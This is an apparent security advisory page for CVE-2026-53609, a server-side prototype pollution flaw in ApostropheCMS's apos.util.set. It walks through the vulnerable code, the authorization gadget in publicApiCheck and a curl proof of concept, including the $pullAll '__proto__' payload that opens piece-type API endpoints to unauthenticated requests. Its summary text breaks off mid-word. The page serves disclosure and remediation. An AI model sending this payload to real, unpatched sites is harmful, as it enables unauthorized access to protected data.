A AegiFlow
CRITICALCVSS 9.1EPSS 0.2%

CVE-2026-53609

Apostrophe has Server-Side Prototype Pollution in apos.util.set via patch operators that leads to process-wide authorization bypass

Published
2026-07-31
Modified
2026-07-31
EPSS percentile
15%
Aliases
GHSA-6h5j-32cf-4253
Sources
github-advisory

Summary

## Summary `apos.util.set()` traverses dot-notation paths without sanitizing `__proto__`, allowing an authenticated editor to write arbitrary values to `Object.prototype` via the `$pullAll` patch operator. A confirmed gadget in `publicApiCheck()` causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process. --- ## Details ### Root Cause — `apos.util.set()` (`modules/@apostrophecms/util/index.js` ~line 800) The function splits a dot-notation path and traverses properties without rejecting `__proto__`, `constructor`, or `prototype`: ```js set(o, path, v) { path = path.split('.'); for (i = 0; i < path.length - 1; i++) { o = o[path[i]]; // when path[i] === '__proto__', o becomes Object.prototype } o[path[i]] = v; // mutates Object.prototype } ``` ### Source — `implementPatchOperators()` (`modules/@apostrophecms/schema/index.js` ~line 1737) User-controlled keys from the `$pullAll` operator are passed directly to `apos.util.set()`: ```js _.each(patch.$pullAll, function(val, key) { cloneOriginalBase(key); // uses _.has (hasOwnProperty) self.apos.util.set(patch, key, ...); // key is fully attacker-controlled }); ``` `cloneOriginalBase()` does not sanitize `__proto__` because `_.has()` performs an own-property check. Since `__proto__` is inherited rather than an own property, the clone step is skipped and execution falls through to `apos.util.set()`. The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point. --- ### Gadget — `publicApiCheck()` (`modules/@apostrophecms/piece-type/index.js` ~line 1148) ```js publicApiCheck(req) { if (!self.options.publicApiProjection) { if (!self.canAccessApi(req)) { throw self.apos.error('notfound'); } } } ``` Once `Object.prototype.publicApiProjection` is set to any truthy value (for example `[]`), every module instance inherits it. Because JavaScript property lookup resolves inherited properties from `Object.prototype`, the condition: ```js !self.options.publicApiProjection ``` evaluates to `false` for all modules. As a result, the authorization check is skipped for every subsequent request handled by the process. --- ## Proof of Concept **Environment:** ApostropheCMS v4.30.0, Node.js, MongoDB **Prerequisites:** Editor-level credentials ### Step 1 — Confirm Endpoint Is Protected (Unauthenticated) ```bash curl -s http://localhost:3000/api/v1/@apostrophecms/user ``` Response: ```json {"name":"notfound","data":{},"message":"notfound"} ``` --- ### Step 2 — Obtain Editor Token ```bash TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"..."}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") ``` --- ### Step 3 — Poison `Object.prototype` via `$pullAll` ```bash curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -H "Cookie: apos-testapp.csrf=csrf" \ -H "X-XSRF-TOKEN: csrf" \ -d '{"$pullAll":{"__proto__.publicApiProjection":[]}}' ``` Response: ```http HTTP/1.1 200 OK ``` --- ### Step 4 — Authorization Bypass Confirmed (Unauthenticated) ```bash curl -s http://localhost:3000/api/v1/@apostrophecms/user ``` Response: ```json {"pages":0,"currentPage":1,"results":[]} ``` The endpoint now returns a valid paginated response instead of `notfound`. No credentials are supplied. Execution passes `publicApiCheck()` and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed. ### Cle

Affected packages

EcosystemPackageAffected versionsFixed versions
npmapostrophe4.31.0

Remediation: Upgrade to 4.31.0 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.

CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.

EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.